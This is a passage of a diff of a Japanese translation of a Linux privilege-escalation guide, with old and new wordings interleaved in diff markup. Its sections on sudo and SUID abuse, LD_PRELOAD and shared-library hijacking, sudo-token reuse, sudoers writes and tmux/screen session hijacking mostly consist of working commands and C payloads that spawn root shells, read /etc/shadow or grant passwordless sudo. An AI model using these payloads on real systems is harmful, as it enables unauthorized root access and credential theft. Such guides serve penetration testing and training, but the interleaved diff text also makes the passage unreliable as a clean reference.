socketsを想起させるもの）をサポートします。さらに、イベントやシグナルのブロードキャストを支援し、システムコンポーネント間の統合を促進します。例えば、着信通話に関するBluetooth daemonからのシグナルが音楽プレーヤーをミュートさせるといったユーザー体験の向上が可能です。加えて、D-Busはリモートオブジェクトシステムをサポートしており、アプリケーション間でのサービス要求やメソッド呼び出しを簡素化し、従来は複雑だった処理を効率化します。 +このシステムは柔軟で、プロセス間のデータ交換を強化する基本的なIPC（拡張された**UNIXドメインソケット**を思わせるもの）をサポートします。さらに、イベントやシグナルのブロードキャストを助け、システムコンポーネント間のシームレスな統合を促進します。例えば、Bluetoothデーモンからの着信通話に関するシグナルが音楽プレーヤーにミュートを促すことでユーザ体験が向上する、といった具合です。加えて、D-Busはリモートオブジェクトシステムをサポートしており、アプリケーション間のサービス要求やメソッド呼び出しを簡素化し、従来は複雑であった処理を合理化します。 -D-Busは**allow/deny model**で動作し、マッチするポリシールールの累積効果に基づいてメッセージ権限（メソッド呼び出し、シグナル送出など）を管理します。これらのポリシーはbusとの相互作用を指定しており、これらの権限を悪用することでprivilege escalationが発生する可能性があります。 +D-Busは**allow/deny model**で動作し、マッチするポリシールールの累積的効果に基づいてメッセージの権限（メソッド呼び出し、シグナル送出など）を管理します。これらのポリシーはバスとのやり取りを指定し、これらの権限を悪用することでprivilege escalationが可能になる場合があります。 -例として、`/etc/dbus-1/system.d/wpa_supplicant.conf` にあるそのようなポリシーが挙げられ、rootユーザーが `fi.w1.wpa_supplicant1` を所有し、そのメッセージを送受信するための権限が詳細に記述されています。 +/etc/dbus-1/system.d/wpa_supplicant.conf にあるそのようなポリシーの例が示されており、rootユーザが `fi.w1.wpa_supplicant1` を所有し、送信および受信できる権限について詳述しています。 -ユーザーまたはグループが指定されていないポリシーは全体に適用されます。一方で "default" コンテキストのポリシーは、他の特定のポリシーにカバーされていないすべてに適用されます。 +ユーザやグループが指定されていないポリシーは普遍的に適用され、"default" コンテキストのポリシーは他の特定のポリシーにカバーされていないすべてに適用されます。 ```xml @@ -584,8 +582,7 @@ D-Busは**allow/deny model**で動作し、マッチするポリシールール ``` -**D-Busの通信を列挙してエクスプロイトする方法はこちら：** - +**ここで D-Bus 通信を enumerate して exploit する方法を学んでください:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -593,9 +590,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **ネットワーク** -ネットワークを列挙してマシンの位置を把握するのは常に興味深い。 +ネットワークを enumerate してマシンの位置を把握するのは常に興味深い。 -### 一般的な列挙 +### Generic enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -618,16 +615,16 @@ cat /etc/networks #Files used by network services lsof -i ``` -### 開いているポート +### Open ports -アクセスする前に、以前にやり取りできなかったマシン上で動作しているネットワークサービスを必ず確認してください: +アクセスする前に操作できなかったマシン上で稼働しているネットワークサービスを必ず確認してください: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -sniff trafficができるか確認してください。できれば認証情報を取得できるかもしれません。 +sniff trafficができるか確認してください。できれば、いくつかのcredentialsを取得できるかもしれません。 ``` timeout 1 tcpdump ``` @@ -635,7 +632,7 @@ timeout 1 tcpdump ### 一般的な列挙 -自分が**who**であるか、どの**privileges**を持っているか、システムにどの**users**が存在するか、どのアカウントが**login**できるか、どのアカウントが**root privileges**を持っているかを確認してください： +自分が**誰**か、どの**権限**を持っているか、システム内にどの**ユーザー**がいるか、どれが**login**できるか、どれが**root privileges**を持っているかを確認してください: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -659,19 +656,19 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -一部の Linux バージョンは、**UID > INT_MAX** のユーザーが権限を昇格できるバグの影響を受けていました。More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**悪用するには**: **`systemd-run -t /bin/bash`** +一部の Linux バージョンは、**UID > INT_MAX** のユーザが権限を昇格できるバグの影響を受けていました。More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** -### グループ +### Groups -root 権限を与える可能性のあるグループの**メンバーかどうか**を確認してください： +root 権限を付与する可能性のあるグループの**メンバーかどうか**を確認してください: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### クリップボード +### Clipboard 可能であれば、クリップボード内に興味深いものがないか確認してください ```bash @@ -690,27 +687,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### 既知のパスワード -環境の**任意の password を知っている場合は**、その password を使って**各ユーザーにログインしてみてください**。 +環境のパスワードを**知っている場合は**、そのパスワードを使って**各ユーザーにログインしてみてください**。 ### Su Brute -大量のノイズを出すことを気にせず、`su` と `timeout` バイナリがマシンに存在するなら、[su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) は `-a` パラメータでユーザーを brute-force することも試みます。 +大量のノイズが出ることを気にしない場合、かつコンピュータに`su`と`timeout`のバイナリが存在するなら、[su-bruteforce](https://github.com/carlospolop/su-bruteforce)を使ってユーザーをブルートフォースしてみることができます.\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)は`-a`パラメータでユーザーのブルートフォースも試みます。 -## Writable PATH abuses +## 書き込み可能なPATHの悪用 ### $PATH -もし **$PATH のいずれかのフォルダに書き込める** ことが分かった場合、権限を昇格できる可能性があります。具体的には、**書き込み可能なフォルダ内に backdoor を作成する**（理想的には別ユーザー、root が実行するコマンドと同じ名前にする）ことで、該当コマンドが**$PATH 上であなたの書き込み可能フォルダより前にあるフォルダから読み込まれない**ことを利用します。 +もし**$PATHのいずれかのフォルダに書き込みできる**ことが分かったら、別のユーザー（理想的には root）が実行するコマンド名で、**書き込み可能なフォルダ内にbackdoorを作成すること**により権限を昇格できる可能性があります。ただし、そのコマンドが$PATH内で**あなたの書き込み可能フォルダより前に位置するフォルダから読み込まれない**場合に限ります。 ### SUDO and SUID -sudo を使って実行できるコマンドが許可されているか、またはファイルに suid ビットが設定されている可能性があります。次のコマンドで確認してください: +sudoで実行できるコマンドが許可されている、あるいはコマンドにsuidビットが設定されている可能性があります。確認するには次を使用してください： ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -いくつかの**意外なコマンドは、ファイルの読み書きやコマンドの実行を可能にします。** 例えば: +いくつかの**予期しないコマンドはファイルを読み書きしたり、場合によってはコマンドを実行したりすることがあります。** 例えば: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -721,31 +718,31 @@ less>! ``` ### NOPASSWD -Sudo の設定によっては、ユーザーがパスワードを知らなくても他のユーザーの権限でコマンドを実行できることがある。 +Sudo の設定によって、ユーザーがパスワードを知らなくても別のユーザーの権限でコマンドを実行できる場合がある。 ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -この例では、ユーザー `demo` が `root` として `vim` を実行できます。rootディレクトリに ssh key を追加するか、`sh` を呼び出すことで容易にシェルを取得できます。 +この例ではユーザー `demo` が `root` として `vim` を実行できるため、`ssh` キーを root ディレクトリに追加するか `sh` を呼び出すことで簡単にシェルを取得できます。 ``` sudo vim -c '!sh' ``` ### SETENV -このディレクティブは、コマンド実行時に**環境変数を設定する**ことを可能にします: +このディレクティブは、実行時にユーザーが **環境変数を設定する** ことを許可します： ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -この例（**based on HTB machine Admirer**）は、スクリプトをrootとして実行している間に任意のpython libraryをロードするための**PYTHONPATH hijacking**に**脆弱性がありました**: +この例は、**HTB machine Admirer に基づく**もので、スクリプトをrootとして実行する際に任意の python ライブラリを読み込ませるための**PYTHONPATH hijacking**に**脆弱**でした: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo 実行時のパスをバイパス +### Sudo 実行時のパス回避 -**Jump** して他のファイルを読んだり、**symlinks** を使ったりします。例えば sudoers ファイルでは: _hacker10 ALL= (root) /bin/less /var/log/\_* +**Jump** して他のファイルを読んだり、**symlinks** を使ったりします。例えば sudoers file では: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -755,30 +752,30 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -もし **wildcard** が使われている (\*) なら、さらに簡単です: +もし**wildcard**が使われている（\*）場合は、さらに簡単です： ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **対策**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID バイナリでコマンドパスが指定されていない場合 +### Sudoコマンド/SUIDバイナリ（コマンドのパスが指定されていない場合） -もし **sudo permission** が単一のコマンドに対して **パスを指定せずに** 与えられている場合: _hacker10 ALL= (root) less_、PATH 変数を変更することで悪用できます。 +もし **sudo権限** が単一のコマンド **パスが指定されていない** 状態で付与されている場合: _hacker10 ALL= (root) less_ PATH環境変数を変更することで悪用できます。 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -このテクニックは、**suid** バイナリが**パスを指定せずに別のコマンドを実行する場合（常に _**strings**_ で奇妙な SUID バイナリの内容を確認してください）**にも使用できます。 +この手法は **suid** バイナリ **パスを指定せずに別のコマンドを実行する場合（常に _**strings**_ で奇妙な SUID バイナリの内容を確認してください）** にも使用できます。 [Payload examples to execute.](payloads-to-execute.md) ### SUID バイナリとコマンドのパス -もし**suid**バイナリが**パスを指定して別のコマンドを実行する**なら、suidファイルが呼び出すコマンド名で**export a function**を試すことができます。 +もし **suid** バイナリが**パスを指定して別のコマンドを実行する**場合、suid ファイルが呼び出しているコマンド名で **export a function** を試すことができます。 -例えば、もしsuidバイナリが _**/usr/sbin/service apache2 start**_ を呼んでいる場合、関数を作成してexportしてみる必要があります: +例えば、suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出す場合、同名の関数を作成してそれを export してみます: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -787,18 +784,18 @@ Then, when you call the suid binary, this function will be executed ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. +**LD_PRELOAD** 環境変数は、標準の C ライブラリ（`libc.so`）を含む他のすべてのライブラリよりも先にローダによって読み込まれる、1つ以上の共有ライブラリ（.so ファイル）を指定するために使用されます。このプロセスはライブラリのプリロードとして知られています。 -However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: +しかし、この機能が特に **suid/sgid** 実行ファイルで悪用されるのを防ぎ、システムのセキュリティを維持するために、システムはいくつかの条件を強制します： -- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). -- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. +- 実行ファイルの real user ID（_ruid_）が effective user ID（_euid_）と一致しない場合、ローダは **LD_PRELOAD** を無視します。 +- suid/sgid を持つ実行ファイルに対しては、同じく suid/sgid である標準パス内のライブラリのみがプリロードされます。 -Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. +`sudo` でコマンドを実行する権限があり、`sudo -l` の出力に **env_keep+=LD_PRELOAD** という記述が含まれている場合、Privilege escalation が発生する可能性があります。この設定により、`sudo` でコマンドを実行しても **LD_PRELOAD** 環境変数が保持され認識されるため、結果として特権昇格した状態で任意のコードが実行される可能性があります。 ``` Defaults env_keep += LD_PRELOAD ``` -次の名前で保存: **/tmp/pe.c** +ファイルを **/tmp/pe.c** として保存 ```c #include #include @@ -811,17 +808,17 @@ setuid(0); system("/bin/bash"); } ``` -次に、以下を使用して**コンパイルします**: +次に **compile it** を使用して: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -最後に、**escalate privileges** を実行して +最後に、**escalate privileges** を実行します ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 同様の privesc は、攻撃者が **LD_LIBRARY_PATH** 環境変数を制御している場合に悪用される可能性があります。攻撃者はライブラリが検索されるパスを制御できるためです。 +> 攻撃者が **LD_LIBRARY_PATH** env variable を制御している場合、同様の privesc を悪用できる。ライブラリが検索されるパスを攻撃者が制御するためだ。 ```c #include #include @@ -843,13 +840,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -通常とは異なる**SUID**パーミッションを持つバイナリに遭遇した場合、そのバイナリが**.so**ファイルを正しく読み込んでいるかを確認するのが良い習慣です。次のコマンドを実行して確認できます: +通常とは異なる**SUID**権限を持つバイナリを見つけた場合、**.so**ファイルを正しくロードしているか確認することが推奨されます。これは次のコマンドを実行して確認できます： ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -例えば、_"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ のようなエラーに遭遇した場合、悪用の可能性が示唆されます。 +例えば、_"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ のようなエラーが発生した場合、悪用の可能性が考えられます。 -これを悪用するには、_"/path/to/.config/libcalc.c"_ という C ファイルを作成し、次のコードを含めます: +これを悪用するには、_"/path/to/.config/libcalc.c"_ というCファイルを作成し、次のコードを含めます： ```c #include #include @@ -860,13 +857,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -このコードは、コンパイルして実行すると、ファイル権限を操作して特権付きでシェルを実行することで権限を昇格させることを目的としています。 +このコードは、コンパイルして実行すると、ファイルのパーミッションを操作し、権限昇格したシェルを実行することで特権を昇格させることを目的としています。 -上記のCファイルを共有オブジェクト（.so）ファイルにコンパイルするには: +上記のCファイルを共有オブジェクト（.so）ファイルにコンパイルするには： ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -最後に、影響を受けた SUID binary を実行すると exploit がトリガーされ、system compromise の可能性があります。 +最後に、影響を受けた SUID binary を実行すると exploit が発動し、system compromise を招く可能性があります。 ## Shared Object Hijacking ```bash @@ -878,7 +875,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -SUID バイナリが書き込み可能なフォルダからライブラリを読み込んでいることが分かったので、そのフォルダに必要な名前のライブラリを作成しましょう: +書き込み可能なフォルダからライブラリをロードするSUID binaryを見つけたので、そのフォルダに必要な名前でライブラリを作成しましょう: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -891,17 +888,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -次のようなエラーが出た場合 +次のようなエラーが発生した場合 ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -これは、生成したライブラリに `a_function_name` という名前の関数が含まれている必要があることを意味します。 +これは、生成したライブラリが `a_function_name` という関数を持っている必要があることを意味します。 ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) は、ローカルのセキュリティ制限を回避するために攻撃者が悪用できる Unix バイナリのキュレートされたリストです。[**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに引数を**注入**することしかできないケース向けの同様のリソースです。 +[**GTFOBins**](https://gtfobins.github.io) はローカルのセキュリティ制限を回避するために悪用できる Unix バイナリのキュレーションリストです。[**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに **引数だけを注入できる** 場合の同様のリストです。 -このプロジェクトは、restricted shells を破る、特権を昇格または維持する、ファイルを転送する、bind and reverse shells を生成する、その他の post-exploitation タスクを容易にするために悪用できる Unix バイナリの正当な機能を収集しています。 +このプロジェクトは、Unix バイナリの正規の機能を収集しており、それらを悪用して restricted shells から脱出したり、権限を昇格・維持したり、ファイルを転送したり、bind and reverse shells を生成したり、その他の post-exploitation タスクを容易にします。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -920,60 +917,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -`sudo -l` にアクセスできる場合、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使用して、sudo ルールを悪用できる方法が見つかるかどうかを確認できます。 +If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. ### Reusing Sudo Tokens -パスワードはわからないが **sudo access** がある場合、**sudo コマンドの実行を待ち、そのセッショントークンをハイジャックする**ことで権限を昇格できます。 +In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. -権限を昇格するための要件: +権限昇格の要件: -- すでに _sampleuser_ ユーザとしてシェルを持っている -- _sampleuser_ は直近 **15分以内** に何かを実行するために **`sudo` を使用している**（デフォルトではこれが、パスワード入力なしで `sudo` を使える sudo トークンの有効期間です） +- 既にユーザー "_sampleuser_" として shell を持っていること +- "_sampleuser_" が直近 **15分以内** に何かを `sudo` で実行していること（デフォルトではそれが sudo token の有効期間で、パスワードなしで `sudo` を使える時間です） - `cat /proc/sys/kernel/yama/ptrace_scope` が 0 であること -- `gdb` が利用可能であること（アップロードできる必要があります） +- `gdb` にアクセスできること（アップロード可能であること） -(一時的に `ptrace_scope` を有効化するには `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` を実行するか、`/etc/sysctl.d/10-ptrace.conf` を恒久的に変更して `kernel.yama.ptrace_scope = 0` を設定します) +（一時的に ptrace_scope を有効化するには `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` を実行するか、/etc/sysctl.d/10-ptrace.conf を恒久的に変更して `kernel.yama.ptrace_scope = 0` に設定します） -これらすべての要件が満たされていれば、**次を使って権限を昇格できます:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- 最初の **exploit** (`exploit.sh`) はバイナリ `activate_sudo_token` を _/tmp_ に作成します。これを使って **自分のセッションで sudo トークンを有効化** できます（自動的に root シェルが得られるわけではありません。`sudo su` を実行してください）: +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **2番目の exploit** (`exploit_v2.sh`) は _/tmp_ に root 所有で setuid な sh シェルを作成します +- 2番目の exploit (`exploit_v2.sh`) は _/tmp_ に root 所有で setuid が付与された sh shell を作成します ```bash bash exploit_v2.sh /tmp/sh -p ``` -- この **3番目の exploit** (`exploit_v3.sh`) は **sudoers file を作成し**、**sudo tokens を永続化し、すべてのユーザーが sudo を使用できるようにします** +- この **3番目の exploit** (`exploit_v3.sh`) は **sudoers ファイルを作成し**、**sudo tokens を永続化し、すべてのユーザーが sudo を使用できるようにします** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -もしフォルダまたはその中に作成されたファイルのいずれかに対して**write permissions**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使って**create a sudo token for a user and PID**することができます。\ -例えば、ファイル _/var/run/sudo/ts/sampleuser_ を上書きでき、かつその user として PID 1234 の shell を持っている場合、パスワードを知らなくても次のようにして**obtain sudo privileges**できます: +フォルダ、またはそのフォルダ内に作成されたファイルのいずれかに**write permissions**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使って、ユーザーとPIDのための**sudo token**を作成できます。\ +例えば、ファイル _/var/run/sudo/ts/sampleuser_ を上書きでき、そのユーザー（PID 1234）としてシェルを持っている場合、パスワードを知らなくても次のようにして**obtain sudo privileges**できます: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -ファイル `/etc/sudoers` と `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使えるか、どのように使えるかを設定します。これらのファイルは **デフォルトでは user root および group root によってのみ読み取り可能です**.\\ -**もし**このファイルを**読む**ことができれば、**興味深い情報を入手できる**可能性があり、また任意のファイルに**書き込み**できれば、**権限昇格**が可能になります。 +ファイル `/etc/sudoers` および `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使えるか、またその方法を設定します。これらのファイルは**デフォルトではユーザー root とグループ root のみが読み取ることができます**。\ +**もし** このファイルを**読み取る**ことができれば、**興味深い情報を取得できる可能性があります**。また、任意のファイルに**書き込む**ことができれば、**escalate privileges** できます。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -書き込みができれば、その権限を悪用できます +書き込みが可能であれば、この権限を悪用できます。 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -これらの権限を悪用する別の方法： +これらの権限を悪用する別の方法: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -982,17 +979,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -`sudo` バイナリの代替として OpenBSD 向けの `doas` などがあります。設定は `/etc/doas.conf` を確認してください。 +`sudo` バイナリの代替として、OpenBSD 向けの `doas` などがあります。設定は `/etc/doas.conf` を確認してください。 ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -If you know that a **ユーザが通常マシンに接続して `sudo` を使う** to escalate privileges and you got a shell within that user context, you can **新しい sudo executable を作成する** that will execute your code as root and then the user's command. Then, **modify the $PATH** of the user context (for example adding the new path in .bash_profile) so when the user executes sudo, your sudo executable is executed. +特定の user が通常マシンに接続して `sudo` を使って権限昇格することが分かっており、その user コンテキストで shell を得ている場合、まずあなたのコードを root として実行し、その後 user のコマンドを実行するような新しい sudo executable を作成できます。次に user コンテキストの $PATH（例えば新しいパスを .bash_profile に追加）を変更すれば、user が sudo を実行したときにあなたの sudo executable が実行されます。 -Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +注意: user が別の shell（bash 以外）を使用している場合、新しいパスを追加するために他のファイルを修正する必要があります。例えば[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) は `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` を修正します。別の例は [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) にあります。 -Or running something like: +あるいは次のようなコマンドを実行する: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib を `/var/tmp/flag15/` にコピーすると、`RPATH` 変数で指定されている通り、プログラムはこの場所の lib を使用します。 +lib を `/var/tmp/flag15/` にコピーすると、`RPATH` 変数で指定されたこの場所でプログラムによって使用されます。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1042,7 +1039,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -次に、`/var/tmp` に悪意のあるライブラリを `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` で作成します。 +次に、以下のコマンドで `/var/tmp` に悪意のあるライブラリを作成します: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1057,8 +1054,8 @@ execve(file,argv,0); ``` ## Capabilities -Linux capabilities provide a **プロセスに対して利用可能な root 権限の部分集合**。これは実質的に root の**権限をより小さく識別可能な単位に分割**します。これらの各単位は個別にプロセスへ付与できるようになります。こうして権限の全体集合が削減され、悪用のリスクが低減します。\ -次のページを読んで、**capabilities とそれらの悪用方法について詳しく学んでください**: +Linux capabilities はプロセスに対して利用可能な **root privileges のサブセット** を提供します。これにより root の **privileges がより小さく特徴的な単位に分割** されます。これらの各単位は個別にプロセスへ付与できます。こうして特権の全体集合が縮小され、exploitation のリスクが低減します。\ +以下のページを読んで、**capabilities とそれを悪用する方法** についてさらに学んでください: {{#ref}} @@ -1067,28 +1064,28 @@ linux-capabilities.md ## Directory permissions -ディレクトリでは、**bit for "execute"** は対象ユーザが **"cd"** でフォルダに入れることを意味します。\ -**"read"** ビットはユーザが **list** で **files** を確認できることを意味し、**"write"** ビットはユーザが **delete** および **create** で新しい **files** を作成・削除できることを意味します。 +ディレクトリにおいて、**"execute" ビット** は対象ユーザーが "**cd**" でフォルダに入れることを意味します。\ +**"read"** ビットはユーザーが **list** で **files** を確認できることを意味し、**"write"** ビットはユーザーが **delete** および **create** によって新しい **files** を作成・削除できることを意味します。 ## ACLs -Access Control Lists (ACLs) は裁量的権限の二次的レイヤーを表し、**traditional ugo/rwx permissions を上書きする**ことができます。これらの権限は、所有者やグループの一員でない特定のユーザに対して権利を許可または拒否することで、ファイルやディレクトリへのアクセス制御を強化します。このレベルの**粒度により、より正確なアクセス管理が可能になります**。詳しくは[**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)を参照してください。 +Access Control Lists (ACLs) は裁量的な権限の二次層を表し、**traditional ugo/rwx permissions を上書きできる** 機能を持ちます。これらの権限は、所有者でもグループの一員でもない特定のユーザーに対して許可や拒否を与えることで、ファイルやディレクトリへのアクセス制御を強化します。このレベルの **granularity はより正確なアクセス管理を可能にします**。Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**ユーザ "kali" にファイルの read と write 権限を付与する:** +**付与する** user "kali" にファイルの read と write 権限を: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**取得** システムから特定の ACL を持つファイル: +**取得する** システムから特定のACLが設定されたファイル: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## 開かれた shell sessions +## shell sessions を開く -**古いバージョン**では、別のユーザー（**root**）の**shell**セッションを**hijack**できる場合があります。\ -**最新のバージョン**では、**自分のユーザー**の screen sessions にのみ **connect** できるようになりました。しかし、session 内に **興味深い情報** が見つかることがあります。 +**古いバージョン**では、別のユーザー（**root**）のいくつかの **shell** セッションを **hijack** できる場合があります。\ +**最新バージョン**では、**connect** できるのは **自身のユーザー** の **screen sessions** のみです。とはいえ、**セッション内の興味深い情報** を見つけることがあります。 ### screen sessions hijacking @@ -1107,9 +1104,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -これは**古い tmux バージョン**の問題でした。非特権ユーザーとして root によって作成された tmux (v2.1) セッションを hijack できませんでした。 +これは **古い tmux バージョン** の問題でした。非特権ユーザーとして、root によって作成された tmux (v2.1) セッションをハイジャックできませんでした。 -**tmux セッションを一覧表示** +**List tmux sessions** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1127,41 +1124,41 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -例として **Valentine box from HTB** を確認してください。 +Check **Valentine box from HTB** for an example. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -2006年9月から2008年5月13日までの間にDebian系システム（Ubuntu、Kubuntuなど）で生成されたすべての SSL および SSH キーは、この脆弱性の影響を受ける可能性があります。\ -このバグはこれらのOSで新しい ssh キーを作成したときに発生します。**可能なバリエーションはわずか 32,768 しかありませんでした**。つまり、全ての可能性を計算でき、**ssh の公開鍵を持っていれば対応する秘密鍵を検索できます**。計算された候補はここで見つかります: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ +このバグは当該OSで新しい ssh key を作成した際に発生し、**可能なバリエーションが32,768通りしかなかった**ために起こります。つまり全ての可能性を計算でき、**ssh public key を持っていれば対応する private key を検索できる**ということです。計算済みの可能性はこちらで確認できます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH の興味深い設定値 +### SSH Interesting configuration values - **PasswordAuthentication:** 